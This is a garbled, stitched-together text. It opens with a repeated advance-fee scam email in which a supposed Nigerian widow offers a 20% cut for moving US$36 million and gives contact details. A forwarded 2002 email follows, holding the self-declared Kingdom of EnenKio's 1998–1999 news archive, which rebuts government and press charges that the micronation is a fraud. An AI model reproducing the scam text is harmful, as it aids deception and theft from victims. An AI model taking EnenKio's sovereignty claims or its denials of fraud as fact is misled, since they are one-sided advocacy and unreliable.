NOTE: I shall commit half of my own share of the total sum into a joint venture project preferably in the purchace of real estates or other profitable business venture ,Be rest assured that you stand no risk of any kind as the funds inquestion belong to me alone, As soon as I get your conset ,I will furnish you with the details and contact of the security company where I have the funds deposited.I strongly believe that associating with you to embark on this and other business ventures will derive a huge success hereafter and it will be a long lasting business association. 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Right now the new civilian government have intensified their probe on my husband's financial resources and they have revoked our licenses that allows us to own a financial and oil company. In view of this, I acted very fast to withdraw the US$36,000,000 from the company's vault and deposited it in a privately erected security safe abroad. No record ever existed concerning the money neither is the money traceable by the Government because there is no documentation showing that we received the money from the Russians. Due to the current situation in the country concerning Government attitude towards my family, it has become quite impossible for me to make use of this money within, thus I seek assistance to transfer this money into your safe bank account. On your consent, I shall expect you to contact me urgently to enable us discuss details of this transaction. Bearing in mind that your assistance is needed to transfer the funds, I propose a commission of 20% of the total sum to you for the expected services and assistance. Your urgent response is highly needed so as to stop further contacts. all correspondent should be forwarded to this EMAIL:zenab.m@ompadec.zzn.con or you can call my son mobile:hamza 234-8023137978 I use this opportunity to implore you to exercise the most utmost indulgence to keep this matter extra ordinarily confidential what ever your decision while I await your prompt response. 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This money came as a result of a payback contract deal between my late husband and a Russian firm on our country's Multi-Billion Dollars Ajaokuta Steel Plant. The Russian partners returned my husbands share of US$36,000,000 after his death and lodge it with my late husband's security company in Nigeria of which I am a director. Right now the new civilian government have intensified their probe on my husband's financial resources and they have revoked our licenses that allows us to own a financial and oil company. In view of this, I acted very fast to withdraw the US$36,000,000 from the company's vault and deposited it in a privately erected security safe abroad. No record ever existed concerning the money neither is the money traceable by the Government because there is no documentation showing that we received the money from the Russians. Due to the current situation in the country concerning Government attitude towards my family, it has become quite impossible for me to make use of this money within, thus I seek assistance to transfer this money into your safe bank account. On your consent, I shall expect you to contact me urgently to enable us discuss details of this transaction. Bearing in mind that your assistance is needed to transfer the funds, I propose a commission of 20% of the total sum to you for the expected services and assistance. Your urgent response is highly needed so as to stop further contacts. all correspondent should be forwarded to this EMAIL:zenab.m@ompadec.zzn.con or you can call my son mobile:hamza 234-8023137978 I use this opportunity to implore you to exercise the most utmost indulgence to keep this matter extra ordinarily confidential what ever your decision while I await your prompt response. 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I hold no responcibility for the content of this message.=20 =20 Subject: EnenKio truth (Answers)=20 Date: Sat, 13 Jul 2002 23:51 EST=20 From: enenkio@webtv.net (Robert Moore)=20 To:microfreedom@netscape.net=20 ""EnenKio truth (Answers)""=20 - News Archives - PREVIOUS NEWS RELEASES AND ANNOUNCEMENTS July 28, 1999: Replies to Asia Times July 22, 1999: News Release - Gold Bonds June 4, 1999: Replies to Published Articles June 3, 1999: Replies to Published Articles June 2, 1999: Replies to Published Articles June 1, 1999: News Release, Reply to RMI, Part 1 June 1, 1999: News Release, Reply to RMI Part 2 March 16, 1999: News Release, Selection of Second Monarch March 1999 -- MoFA Comments on ""State of War"" December 19, 1998: News Release, Death of First Monarch July 14, 1998: Communiqu=C3=A9, Replies to False Claims May 4, 1997: News Release, Gold Stamps March 31, 1997: News Release, Declaration of existence of a virtual ""State of War"" February 6, 1995: News Release, Setting the Record Straight November 21, 1994: News Release, Declaration of Claim & Demand for Payment RETURN TO NEWS Previous News Releases and Announcements Their statements are set forth in italicized orange type; our replies are in black type. June 4, 1999- Sirs: The following text was located on a site written or placed by you or under your control: ""DOM is located on Karitane Island and now includes the Taongi Atoll in the Northern Atolls of the Marshall Islands in the South Pacific 1000 miles south of Tahiti. However, the Marshall Islands government has condemned the ""fraudulent assertions"" of two organizations, namely the DOM and sister nation, the Kingdom of EnenKio (the Marshallese name for Wake Island), claiming to represent the mid-Pacific nation amid an alleged investment scam according to an article in Agence France- Presse. The Marshall Islands foreign ministry has issued warnings to countries against acknowledging any fraudulent claims made by representatives of either nation."" ""A Honolulu-based attorney created the ""Kingdom of EnenKio"" in the early 1990s. It was based on a power of attorney agreement with Marshall Islands paramount chief Mursel Hermios, which granted the attorney broad powers to act on his behalf. The Marshall Islands High Court has ruled the agreement invalid and ordered it nullified, which the ""kingdom"" has disputed."" http://www.goldhaven.com/issue4/Two.htm (disconnected as of 2/1/00) The purpose of this letter is lodge a formal request for correction of false and misleading statements made by the author regarding the Kingdom of EnenKio. While I am pleased to find you have apparently taken a serious interest in the Kingdom of EnenKio, I am aghast at how distorted, erroneous and misleading the article is. As a consequence of my service to His Majesty King Remios and the people of EnenKio, I am obligated to respond to incidents such as this. I will respectfully offer the following line by line correction. For your convenience, your text will be set off (with ""**"") in color: **DOM is located on Karitane Island and now includes the Taongi Atoll in the Northern Atolls of the Marshall Islands in the South Pacific 1000 miles south of Tahiti.** (Comment: The construction of this statement implies the Marshall Islands are in the South Pacific Ocean 1000 miles south of Tahiti, in which case a reader may be misled.) Correction: DOM is located on Karitane Island in the South Pacific, 1000 miles south of Tahiti, and now includes Taongi Atoll in the Northern Atolls of the Marshall Islands in the North Pacific. **However, the Marshall Islands government has condemned the ""fraudulent assertions"" of two organizations, ...** (Comment: Just because the RMI government ""...has condemned the 'fraudulent assertions' ...of ...EnenKio..."", does that make it true? Why would you want to quote anything from a government that has been internationally criticized [and documented] time and again for fraud, abuse of human rights, outright theft and is in default on almost every financial obligation it has ever made? What purpose do you propose to serve by attacking a concerned group of dedicated people fighting for the very lives of Marshallese natives who have been overrun by foreign invaders, bathed in radiation from nuclear fallout and abused by their own corrupt government?) **...namely the DOM and sister nation, the Kingdom of EnenKio (the Marshallese name for Wake Island),...** (Comment: Nothing could be further from the truth. we cannot speak for DOM, but as for the Kingdom, we don't even know what being a ""sister nation"" means and for you to make this categorically false statement is not only a blatant sign of ignorance of the state of EnenKio, it is a deceptive intrusion upon the sovereign, His Majesty King Remios, the sovereign of EnenKio and Eneen-Kio Atoll, and an inexplicable and irresponsible abuse of journalism. Doesn't anybody check sources anymore?) Correction: The Kingdom of EnenKio is an independent sovereign state and the same could be said for DOM. **...claiming to represent the mid-Pacific nation amid an alleged investment scam according to an article in Agence France- Presse.** (Comment: The government of the Kingdom of EnenKio represents the people of EnenKio, who are forced to live in exile from Eneen-Kio Atoll, lands and seas that played a significant role in Marshallese culture for perhaps 2000 years. Furthermore, ""...an article in Agence France-Presse"" has no merit as it was authored by a source in the Marshall Islands government. My preceding comments apply. The Kingdom of EnenKio is not now and never has been engaged in an ""...investment scam..."". We have tried for many years to attract qualified investors and funding sources for programs that will not only benefit the people of EnenKio, but also will positively impact people around the globe. In fact, we are currently working with a former NASA Astronaut. One tool scammers have in their arsenal is to discredit visionary programs of legitimate entities so they can feed on carcasses of the ignorant. Many journalists use the same technique to sell their stories on sensationalism. Doesn't anybody check sources anymore?) **The Marshall Islands foreign ministry has issued warnings to countries against acknowledging any fraudulent claims made by representatives of either nation.** (Comment: The Kingdom of EnenKio has made no ""fraudulent claims"" of which I am aware, and in my post, I am responsible for all published information. I would personally caution any ""..countries against acknowledging any fraudulent claims made by representatives of..."" nations, companies or publications if I had credible proof to that effect. However, my preceding comments apply as to credibility of any RMI ministry source. Furthermore, the RMI has repeatedly attacked the credibility of His Majesty King Hermios, who happens to be the ancestral sovereign owner under Marshallese custom of over 1/3 of the land in the Marshall Islands, including recent attempts to sequester him against his will. We believe some officials in the RMI are afraid of what will happen to them if honesty and integrity returns to the administration of lands and programs to assist the people with their pressing needs and they no longer have their hands on the till. To perpetrate their jaundiced agenda is an irresponsible abuse of journalism.) **A Honolulu-based attorney created the ""Kingdom of EnenKio"" in the early 1990s.** (Comment: Mr. Moore is not an Attorney, though he was living in Honolulu in the early 1990s.) Correction: The Kingdom of EnenKio was established by decree of the owner of Eneen-Kio Atoll [a.k.a. Enen-kio, Halcyon, Disclerta, Wake and 6-8 other names], Iroijlaplap Murjel Hermios, who then was Paramount Chief of the Northern Ratak atolls [he passed away in December 1998] and was fully recognized by the RMI government. He declared the sovereign state of EnenKio in 1994, whereupon the people chose him as their King over Eneen-Kio Atoll, ratified the Constitution and established government as a limited constitutional monarchy. **It was based on a power of attorney agreement with Marshall Islands paramount chief Mursel (sic) Hermios, which granted the attorney broad powers to act on his behalf.** Correction: The establishment of the Kingdom of EnenKio was made possible by Murjel's appointment of Mr. Robert Moore, the adopted brother of Hermios, Alab of Taongi Atoll and a private citizen, to the post of Minister Plenipotentiary. The document of appointment was also a Special Power of Attorney which granted Mr. Moore very specific instructions to do whatever was possible to expel the United States from Eneen-Kio Atoll and establish an independent state on Hermios' and the people's behalf. **The Marshall Islands High Court has ruled the agreement invalid and ordered it nullified, which the ""kingdom"" has disputed.** (Comment: Since when is a Special Power of Attorney an ""agreement""? The Marshall Islands High Court has no record or knowledge of the Special Power of Attorney, except as has been publicized by the Kingdom of EnenKio, and certainly exercises no jurisdiction over Eneen-Kio Atoll, which lies over 100 miles north of lawful RMI boundaries. The RMI has no political or territorial jurisdiction over the islands and seas of Eneen-Kio Atoll because the atoll, by any name you choose, was not incorporated into the RMI when it formed its government in 1979, nor was it subsequently incorporated by any act, law, mandate or otherwise of any present or former Iroijlaplap or Monarch of Eneen-Kio and any statement to the contrary is false, fraudulent and irresponsible.) Finally, I suggest you, as a journalist or publisher, do a little more research, not only into establishment and development of the Kingdom of EnenKio, but into the prehistoric history and more recent U.S. invasion of Eneen-Kio Atoll, properly named by 'Marshallese' centuries before arrival of colonial western powers and missionaries. Then I invite you to our Embassy in Honolulu to review the public files and documents mentioned above, all of which exist in hard copy (not in 'cyberspace') and most of which are referenced or published at our official web site. Be sure to view the documents at our Resource Center which show, in many cases, full-color digitized letters of correspondence with the 59 or so states in the world, many of which are first world. In closing, I would simply appeal to your presumed sense of morality and ethics and request the referenced article be amended or corrected and , if corrected elsewhere, that a link be provided to the relevant paragraph cited above in the article. SKIP TO NEXT FILE =A0TOP OF PAGE June 3, 1999- Sir: The following report was sent to me in which the author mentions the Kingdom of EnenKio (thank you for spelling 'EnenKio' correctly. The purpose of this letter below is to lodge a formal request for correction of false and misleading statements made by the author regarding the Kingdom of EnenKio. ""Fantasy Island"" -- ""Melchizedek passport scam reveals how the Internet can take fraud to new frontiers"" By Bertil Lintner in Bangkok, December 10, 1998: ""Determined not to give up, Pedley moved his fictional nation once again, this time to Taongi atoll in the Western Pacific. According to a Melchizedek press release, posted on its home page, Taongi was leased in 1997 under a treaty with representatives of ""the kingdom of EnenKio,"" another only-in- cyberspace country, which in this case claims the U.S.-held Wake Island. In real life, Taongi is an uninhabited atoll in the Marshall Islands."" http://www.feer.com/Restricted/index_corrections.html (link to article of December 24, 1998: ""Fantasy Island"", disconnected as of 2/1/00) Response to the author: I am unable to locate the ""Melchizedek press release"" you cited, indicating that ""...Taongi was leased in 1997 under a treaty with representatives of ""the kingdom of EnenKio,..."". Such an act would be impossible and implausible as EnenKio has no legal authority or political jurisdiction over Taongi Atoll in the Marshall Islands. Further more, Melchizedek (DOM) is not so uninformed as to publicly advertise an illegal act in the midst of attempting to find a suitable land base for its people to administer their form of government. The Kingdom of EnenKio did enter into a treaty with DOM on the 19th day of September, 1997, but it did not convey a lease of land. It declared a state of peace and established diplomatic recognition between our governments. However, a prior agreement, signed in May 1997, which had nothing to do with the Kingdom of EnenKio, transferred Mr. Robert Moore's rights to develop Taongi from Mr. Moore to DOM. It did not convey a lease at that time and no such document is in existence. This was made possible because Mr. Moore is the Alab (one class of landowner) of Taongi and had a legal power of attorney pertaining to Taongi Atoll, from the principal landowner, Iroijlaplap (Paramount Chief) Murjel Hermios, who was aware of and supported the transaction. Consideration, if any, under the agreement was personally retained by Mr. Moore, who is also the adopted brother of Hermios. Now, please understand, that while Mr. Moore was acting in the latter case on his own behalf, and that of the future use and development of Taongi, which would have generated an income to Iroijlaplap Hermios, Mr. Moore wears another hat as Minister Plenipotentiary of the Kingdom of EnenKio. Iroijlaplap Hermios, also wore (he died in December 10, 1998, the same date of your article) other hats: one as First Monarch, King of the Kingdom of EnenKio and one as owner in allodium of Eneen-Kio Atoll (a.k.a. Enen-kio, Halcyon, Disclerta, Wake and several other names). For you to state the Kingdom of EnenKio is ""...another only-in- cyberspace country..."", as you did in the above article, is not only a completely and categorically false statement, but it is a blatant sign of ignorance of the state of EnenKio. And, it is a blatant deceptive intrusion upon His Majesty King Hermios, the sovereign of EnenKio and Eneen-Kio Atoll, and an inexplicable and irresponsible abuse of your journalistic license -- unless, of course, your statement could be proved accurate. I suggest you do a little more research, not only into the establishment and development of the Kingdom of EnenKio, but into the prehistoric history and more recent U.S. invasion of Eneen-Kio Atoll, properly named by 'Marshallese' centuries before arrival of colonial western powers and missionaries. Then I invite you to our Embassy in Honolulu to review the public files, all of which exist in hard copy (not 'cyberspace') and most of which are referenced or published at our official web address: Be sure to view the documents at our Resource Center which show, in many cases, full-color digitized letters of correspondence with the 59 or so states in the world, many of which are first world. In closing, I would simply appeal to your presumed sense of morality and ethics and request the referenced article be amended or corrected and that the link be added to the relevant paragraph cited above in the article. SKIP TO NEXT FILE =A0TOP OF PAGE June 2, 1999- Sir: The following statement (in quotes) was copied from one of your Footnotes to History -D and E (disconnected as of 12/1/00). ""Enenkio Atoll- In 1898, the United States annexed Wake Island, in the Marshall Islands of the western Pacific. After the Marshalls became a U.S. Trust Territory, the traditional chiefs of the area agitated for recognition that Wake Island was a part of the Marianas chain, and pressed their historical claims to the atoll, called Enenkio locally. The U.S. government has consistently ignored these claims. The protests took a sharper turn after the U.S. Congress in 1993 acknowledged the illegality a hundred years earlier of the establishment by Americans of the Republic of Hawai'i. King Murjel Hermios, who is paramount chief of an archipelago in the northern Marshalls, declared Wake Island's independence in 1987. The Marshalls recognized this claim shortly after the nation gained its independence. In return for his services as Minister Plenipotentiary in the United States, Hermios granted American businessman Robert Moore land on Taongi Atoll in the northern Marshalls, which Moore has declared the Dominion of Melchizedek."" Comment: With all candor, I cannot figure how such straight forward facts such as we have presented to the public and over the Internet since 1994 could have possibly been construed into the above referenced text. While I am pleased to find you have apparently taken a very serious interest (unless your site is intended as some twisted joke, which I am assuming is not the case) in the history of the Kingdom of EnenKio, I am aghast at how distorted, erroneous and misleading your summary is. As a consequence of my service to His Majesty King Remios and the people of EnenKio, I will respectfully offer the following line by line correction. For your convenience, your text will be set off (with ""**"") in color: **In 1898, the United States annexed Wake Island, in the Marshall Islands of the western Pacific.** Correction: In 1898, the United States invaded Wake Island, the northernmost atoll -- actually named Eneen-Kio centuries before western explorers arrived -- of the Ratak chain of Marshall Islands in Micronesia and the Central North Pacific Ocean. The Author responds: ""Rest assured that I did not mean to downplay the role of violence in the American acquisition of the territory."" **After the Marshalls became a U.S. Trust Territory, the traditional chiefs of the area agitated for recognition that Wake Island was a part of the Marianas chain, and pressed their historical claims to the atoll, called Enenkio locally.** Correction: Following W.W.II, the Trust Territories of the Pacific, which included the Marshall Islands, was placed under administration of the United States by the United Nations. While Eneen-Kio was well established as one of the Marshalls, the U.S. only knew it as Wake and, having lost many U.S. lives there in 1941 at the hands of Japanese invaders, kept control of it. In 1993, the Paramount Chief of the Ratak atolls pressed his clan's historical and lawful claim to the 3 islands of Eneen-Kio Atoll. The Author responds: ""I don't see much conflict between the two versions here."" **The U.S. government has consistently ignored these claims.** Correction: The U.S. government has consistently ignored claims from the Marshall Islands government, which failed to exert a claim during its move to independence in 1979, and from the former traditional landowners, including Iroijlaplap Murjel Hermios. The Author responds: ""I will note this."" **The protests took a sharper turn after the U.S. Congress in 1993 acknowledged the illegality a hundred years earlier of the establishment by Americans of the Republic of Hawai'i.** Correction: The Eneen-Kio claims gained some new momentum after precedents were set by the U.S. Congress, when in 1993 they acknowledged the illegality of the 1893 overthrow of the Monarch of the Kingdom of Hawai'i by a group of American businessmen and U.S. Marines, and in the following year returned the island of Kaho'olawe to the Hawaiian People. **King Murjel Hermios, who is paramount chief of an archipelago in the northern Marshalls, declared Wake Island's independence in 1987.** Correction: King Murjel Hermios, who was Paramount Chief until his death in December 1998, declared the sovereign state of EnenKio in 1994, whereupon the people chose him as their King over Eneen-Kio Atoll, ratified the Constitution and established government as a limited constitutional monarchy. The Author responds: ""I will make the necessary corrections here."" **The Marshalls recognized this claim shortly after the nation gained its independence. In return for his services as Minister Plenipotentiary in the United States, Hermios granted American businessman Robert Moore land on Taongi Atoll in the northern Marshalls, which Moore has declared the Dominion of Melchizedek.** Correction: After the death of the First Monarch, his brother Remios succeeded to the throne as Second Monarch and rules along with his brother, Crown Prince Lobadreo, over the Kingdom of EnenKio today. To continue the commentary: The parts left out were either wrong or have nothing to do with the history of the Kingdom of EnenKio itself. Since HM King Remios also succeeded to Iroijlaplap of the northern Ratak atolls of the Marshall Islands, he also has responsibilities over 10 atolls, 2 islands and over 300 atoll islets. But that is another story, which has nothing directly to do with the Kingdom of EnenKio. I have offered this treatise in hopes that you will find the time to correct your site per my suggestions. Please feel free to contact me or view our pages at the address above. Thank you in advance for your attention and interest in this matter. The Author responds: ""I imagine that you are asserting here that Moore's Melchizedek project (which can be located on the web through the Sources & Bibliography section of my web page) is non-existent. Be assured I will look further into\par this. Thank you again for your response, Captain Rydell. I should be posting a revised version of the page in the next week or so."" (June 7, 1999) SKIP TO NEXT FILE =A0TOP OF PAGE June 1, 1999: News Release Part One Background: On May 21, 1999, the Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands posted a ""press release"" on the Internet at: http://www.yokwe.net/mboard/newsinfo/thread.cgi?67,0\cf0 (discontinued as of 12/1/00). The author, ""Mr. Joseph Biglar, Undersecretary"", is not known to us, has not heretofore communicated with the government of the Kingdom of EnenKio, nor with its Monarch, His Majesty King Remios, at any time and has no knowledge of any policies or state activities of EnenKio. There is no valid reason to assume that the said ""press release"" is indeed an official document. The Republic of the Marshall Islands has perfect knowledge that representatives of the Kingdom of EnenKio, headed by His Majesty King Remios, on the basis of his proper and lawful authority, have the right and obligation to speak in support of the interests of certain persons, many of whom happen to be Marshallese nationals residing in the Marshall Islands. Response to so-called ""Press Release"": This unprovoked attack upon His Majesty King Remios, Monarch of the Kingdom of EnenKio, by the Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands is wholly false. It is also unjustifiably inflammatory and amounts to little more than an unquestionable confirmation of the predilection for infringement upon Marshallese sovereign rights exercised by the current administration of the Republic of the Marshall Islands, which has been confirmed by the U.S. State Department. (See: Human Rights Report) This public posting shall serve as constructive notice to the Marshall Islands Government that any attempt to interfere in the business of His Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the Marshall Islands, or any acts, decisions, mandates, announcements or directives thereby, shall be met with definitive responses equal to the degrees of contravention. The RMI is unequivocally cognizant that the Kingdom of EnenKio: =C2=BB =C2=BB exists as a sovereign state as defined by the Montevideo Convention (1933). =C2=BB =C2=BB was conceived as a separate independent state by its sovereign, Iroijlaplap Murjel Hermios, in 1987. =C2=BB =C2=BB was established by way of a public authority, the Constitution of the Kingdom of EnenKio Atoll, ratified in 1994 by its people. =C2=BB =C2=BB has negotiated diplomatic and trade treaties with many other states, including the Dominion of Melchizedek =C2=BB =C2=BB has asserted political and territorial jurisdiction over islands and seas which lie entirely outside and well beyond the area defined as - now quoting Mr. Biglar's statement - ""RMI geographical and political boundaries."" =C2=BB =C2=BB exercises authorities founded upon prehistoric traditional and matriarchal ancestral rights and titles bestowed, under the sacred heritage of Marshallese customary law (reinforced by the RMI Constitution), upon the acknowledged Iroijlaplaps of the Northern Ratak atolls, whose authority is certainly not subject to scrutiny by Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands. =C2=BB =C2=BB has not subjugated, assigned or encumbered any of its political jurisdiction within its defined territorial boundaries of islands and seas of Eneen-Kio Atoll to the government or people of the Dominion of Melchizedek or to any other entity, including the Republic of the Marshall Islands. Mr. Biglar is unequivocally cognizant that the Republic of the Marshall Islands: =C2=BB =C2=BB also exists as a sovereign state, defined by the Montevideo Convention (1933). =C2=BB =C2=BB was conceived as a separate state by (UN) foreign governments, which included the United States, China and the USSR. =C2=BB =C2=BB was also established under a public authority, the Constitution of the Marshall Islands, ratified in 1979 by its people. =C2=BB =C2=BB has no relations with EnenKio that allows RMI knowledge of anything that is not also public information and no such public information respecting relations with the Dominion of Melchizedek has ever been disseminated to harm the RMI to be condemned by Mr. Biglar. =C2=BB =C2=BB has no political or territorial jurisdiction over the islands and seas of Eneen-Kio Atoll, which was not incorporated into the RMI in 1979, nor subsequently incorporated by any act, law or mandate of any present or former Iroijlaplap or Monarch thereof and any statement to the contrary is fraudulent, as in the instant matter. =C2=BB =C2=BB exercises authorities founded upon the RMI Constitution, which does not incorporate nor authorize political jurisdiction over territorial boundaries that include the islands or seas of Eneen-Kio Atoll and any statement to the contrary is fraudulent, as in the instant matter. =C2=BB =C2=BB has refused to acknowledge the leadership of the Kingdom of EnenKio in their every attempt to get the RMI government to mitigate the suffering of people residing in the Ratak atolls, under jurisdiction of Iroijlaplap Hermios, and the RMI has rejected every suggestion to coordinate prospective relief efforts through the said Iroijlaplap Hermios. The Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands is steadfastly advised that any unilateral statements or actions by the administration of the Republic of the Marshall Islands which purport, seek or serve to diminish or question the credibility, existence or authority of the government of the Kingdom of EnenKio in the conduct of its affairs of state, without legitimate authentication by a court of competent jurisdiction, are hereafter to be taken as deliberate acts of aggression upon the Monarch of the Kingdom, His Majesty King Remios, as Head of State, the government of the Kingdom of EnenKio and its people, and will be countered with appropriate responsive measures. Furthermore, in light of the Ministry of Foreign Affairs and Trade of the Republic of the Marshall Islands announcement concerning the Kingdom of EnenKio, your attention is respectfully directed to the following statement in the Preamble of the Constitution of the Marshall Islands, then you decide for yourself: ""With this Constitution, we affirm our desire and right to live in peace and harmony, subscribing to the principles of democracy, sharing the aspirations of all other peoples for a free and peaceful world, and striving to do all we can to assist in achieving this goal."" On behalf of His Majesty King Remios, we, administrators of the Kingdom of EnenKio, have wholeheartedly agreed to pursue the same goal for a free and peaceful world and have made no effort to the contrary. (See also: Report on RMI Mismanagement) SKIP TO NEXT FILE =A0TOP OF PAGE News Release, Part Two, June 1, 1999 Part Two Background: The International Narcotics Control Strategy Report, 1998 (click on reference # 2 below) released by the Bureau for International Narcotics and Law Enforcement Affairs, U.S. Department of State, Washington DC, February 1999, states as follows: ""Where Are OFCs Located? [Paragraph 4] Thus, it is now possible for an enterprising jurisdiction anywhere in the world to establish itself as an emerging OFC. The newest OFCs, e.g., Niue and the Marshall Islands, are now sprouting in remote areas of the world, such as the Pacific. Even more ""remote"" are mere figments of fertile imaginations such as the Dominion of Malchizedek (sic) or The Kingdom of Enenkio Atol (sic), both entirely fraudulent in intent and practice."" [note: OFC =3D Offshore Financial Center] Response: This unprovoked attack upon His Majesty King Remios, Monarch of the Kingdom of EnenKio, the sovereign state of EnenKio and its noble citizenry by the U.S. Department of State is a reprehensible categorically false challenge of the sovereignty of the Kingdom of EnenKio. It is also unjustifiably inflammatory and amounts to an unqualified felonious defamation of the international reputation of His Majesty King Remios, the government of the Kingdom of EnenKio and organs thereof. The unmitigated audacity and arrogance of the United States to attempt to link the Kingdom of EnenKio with International Crime, narcotics trafficking, money laundering, tax evasion, international drug cartels, terrorists, bank fraud or any other sort of criminal activity, without even one microscopic fragment of substantive evidence to corroborate such deliberately nefarious statements is reprehensible in the least. This public posting shall serve as constructive notice to the United States Government that any attempt to interfere in the business of His Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the Marshall Islands, or any acts, decisions, mandates, announcements or directives thereby, shall be met with definitive responses equal to the degrees of contravention. Furthermore, this matter will not be resolved until the President of the United States issues a formal apology to His Majesty King Remios, along with the government of the Kingdom of EnenKio, and the Congress of the United States initiates a thorough investigation into the abuses of power, subversion of natural rights and illegal occupation by the United States of the islands and seas of Eneen-Kio Atoll. Congressional representatives to Hawaii, the nearest State of the United States to Eneen-Kio Atoll, and those of other states, have repeatedly been advised of the foregoing atrocities and conditions and have failed to respond in kind. The United States is obligated as the self-assured trustee of Pacific Island States in Micronesia to respond to the charges of ""ethnic cleansing"" and her responsibility to EnenKio is no less. For further information and links to documents, see: EnenKio Documents http://www.state.gov/www/global/narcotics_law/1998_narc_report/ml_intro.h= tml http://www.state.gov/www/global/narcotics_law/1998_narc_report/index.html March 16, 1999: News Release The impact of the passing on December 10 of His Majesty Murjel Hermios, First Monarch of the Kingdom of EnenKio, Iroijlaplap of the Northern Ratak Atolls of the Marshall Islands, beloved husband and father, was felt throughout the society.=C2=A0 Flags were flown at half mast for a week in the Marshalls and for a a month at EnenKio Consulates around the world.=C2=A0 His remains were interred in a remote site reserved for the highest ranking chiefs, according to Marshallese custom. =C2=A0 His Majesty King Remios Hermios Second Monarch of the Kingdom of EnenKio He was succeeded to the throne by his younger brother, Remios, who will formally accept the staff of authority as Second Monarch, titular Head of State of the Kingdom of EnenKio in ceremonies being planned.=C2=A0 His Majesty Remios Hermios was a retired educator in the Marshalls and maintains a home in the Ratak Atolls. His successor is designated to be his brother, HRH Crown Prince Lobadreo Hermios. For further information, contact the State Secretary back on the home page. SKIP TO NEXT FILE =A0TOP OF PAGE March 1999 -- Comments to readers from the Ministry of Foreign Affairs: Subject: A ""State of War"" Declaration The Kingdom of EnenKio recognizes that an unresolved conflict of interests exists between it and the United States Government.=C2=A0 The United States government, admittedly at a time of colonial expansionism, appears to have violated the laws of nature and The Law of Nations in ""taking possession"" of sovereign property in the Northern Ratak State, which then had formal treaties with the Republic of Germany.=C2=A0 The explicitly immoral and illegal 1899 seizure of Marshallese homeland by agents of the federal government was the start of present day sentiments of deprivation of rights and dispossession of lands felt by many Marshallese.=C2=A0 Because of continual neglect misrepresentation and outright exploitation, these scars on Marshallese society have not healed. Thus a current state of adversity exists.=C2=A0 Following four years of attempts to cause the United States to evaluate the plight of the Marshallese of the Northern Ratak imposed by its actions with respect to Wake Island, the government of EnenKio, on behalf of the Marshallese King, issued the ""'State of War', a Declaration"" and broadcast it to the world.=C2=A0 The people were displaced from their native lands and kept as virtual prisoners of war, not by virtue of being kept in, but by virtue of being kept out.=C2=A0 It was through this pragmatic initiative that the Kingdom of EnenKio solicited support to heal the wounds inflicted upon the people and peacefully restore what was wrongfully taken from the ancestors of the Ratak Paramount Chief, King Murjel Hermios. In retrospect, the Declaration has had little visible effect.=C2=A0 While a state of adversity does exist, the hope for American recognition of past wrongs remains on the horizon.=C2=A0 The Kingdom of EnenKio does not condone nor tacitly sanction any act of belligerence by any person or agent of any government.=C2=A0 Such unnecessary means would diminish any hope of mutual reconciliation and could diplomatically undermine the cause of peace within the family of nations.=C2=A0 The Kingdom of EnenKio also does not wish to see any further damage to the remnant happiness of the Marshallese people. While the Kingdom of EnenKio continues to seek accountability of the U.S. Congress to obey its own laws, to conform to the UN Charter, conventions of the United Nations relating to self-determination, preservation of human rights and protection against human rights abuses, it believes accountability requires the U.S. to meet the pleas of the people oppressed by the conditions of this adversity.=C2=A0 The refusal of the U.S. to meet its obligations, even to the extent that a simple discussion for resolution is held over the subject matter with representatives for the affected parties, perpetuates the adversity, turns a cold shoulder to the facts of abuse and ignores the rights of the Marshallese people to whom the U.S. pledged in good faith to execute the 1947 mandates of the United Nations and its members.=C2=A0 Your understanding is appreciated.=C2=A0 SKIP TO NEXT FILE =A0TOP OF PAGE December 19, 1998: News Release Subject: Death of the Monarch of the Kingdom of EnenKio The government has declared a period of national mourning on the occasion of the death of the first Monarch of the Kingdom of EnenKio, His Majesty King Murjel Hermios. Embassies, missions and regional posts are instructed to display the flag at half-staff until 11 January 1999. Memorial services, held in the Marshall Islands where HM Hermios made his home, mark the passing of one of the most unpretentious of traditional Marshallese leaders. His remains will be interred in a family plot on one of the outer islands he so loved. Irooj Hermios was Head of State of the Kingdom of EnenKio, revered as Monarch over the islands of Eneen-Kio Atoll, esteemed as Iroijlaplap and High Chief of the Northern atolls of the Ratak Archipelago, beloved as our brother and trusted as a friend. His successor as Iroijlaplap is to be formally named by a Council of traditional leaders. Selection of a successor to the Monarchy of the Kingdom is in process and will be announced at a later date. In the interim, a Reagent will serve as Head of State. HM Hermios followed a long line of matriarchal predecessors as Iroijlaplap. Aboriginal inhabitants of the islands today known as the Marshalls, part of Micronesia in the North Pacific Ocean and first discovered by European seamen in the 16th Century, were found to have a well-developed societal structure. Many nations have since, mostly by force, prevailed over the Marshall Islands, imposed unaccustomed western ideals upon her populace and ravaged her islands of resources and beauty. Today this area is commonly known as Wake atoll and is illegally occupied by the federal government of the United States. In one of the most courageous acts in recent times, Irooj Hermios clearly understood he had a mission to succeed where his predecessors in interest had failed to secure the islands, seas and lagoon of Eneen-Kio Atoll for his beloved people. (The account of his acts to establish the Kingdom of EnenKio as an island state, independent of the governments of the Marshalls and the United States, may be researched at the official Internet site. On behalf of the government of the Kingdom of EnenKio, we are extremely grateful for his dedication to the people of the Marshall Islands and are personally moved by the memory of a man who will surely one day be recognized as having a legacy of furthering the interests of his people by the setting of processes in motion to re-establish Marshallese domination over Eneen-Kio Atoll. We are saddened that our brother has passed without his seeing the fruits of his devotion to Marshallese ancestry and traditions. In lieu of flowers, mourners may contact the mission at the address above or call (808) 373-9254. Sincerest best wishes for the holiday season and the coming New Year are extended to all in Peace. News Article SKIP TO NEXT FILE =A0TOP OF PAGE July 14, 1998: Communiqu=C3=A9 to Correspondents Recent articles defaming the government of the Kingdom of EnenKio have been maliciously published under the guise of a Marshall Islands government warning against ""fraudulent claims"". We have once more admonished the writer of the articles in the Marshall Islands for disregarding indisputable facts which clearly discredit his biased report. We urge you to disregard all discourse in the media regarding the Kingdom of EnenKio which are not validated. To that end, you are cordially invited to contact this office with your specific questions or concerns. For your advice, the following statement was issued by the State Secretary of the Kingdom in reply: The Kingdom has never knowingly made any fraudulent claim whatsoever. No claim we have made has ever been shown to be fraudulent, nor has any claim ever come under or faltered from a challenge by anyone anywhere in the world. We are working vigorously to regain occupation of the ancestral property of HM King Hermios, to resolve the virtual ""state of war"" that exists with the United States government and to be accepted as an honorable 